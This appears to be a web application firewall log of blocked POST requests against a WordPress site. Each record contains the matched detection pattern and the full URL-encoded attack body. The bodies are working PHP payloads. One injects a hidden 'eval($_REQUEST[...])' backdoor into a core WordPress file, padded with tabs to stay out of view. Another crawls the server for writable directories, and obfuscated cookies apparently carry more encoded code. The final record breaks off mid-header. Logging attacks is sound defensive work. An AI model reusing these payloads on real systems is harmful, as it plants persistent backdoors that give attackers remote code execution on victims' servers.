["2026-05-12 11:58:41","192.185.131.136","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ot:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Text\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527saeCTK%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-length:2035\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvo3DvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\naccept-encoding:gzip,deflate\nsec-fetch-site:none\n\not=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Text\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527saeCTK%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:59:01","94.46.170.157","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Text\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527saeCTK%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2058\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Text\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527saeCTK%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 11:59:35","88.135.73.76","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Uo:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Text\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527saeCTK%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:2035\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIJ8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\naccept-encoding:gzip,deflate\nsec-fetch-site:none\n\nUo=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Text\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527saeCTK%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:59:54","212.87.197.20","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> aE:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3811\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLHHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\naccept-encoding:gzip,deflate\nsec-fetch-site:none\n\naE=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 12:00:05","103.145.5.35","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> OE:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3811\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG0HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) 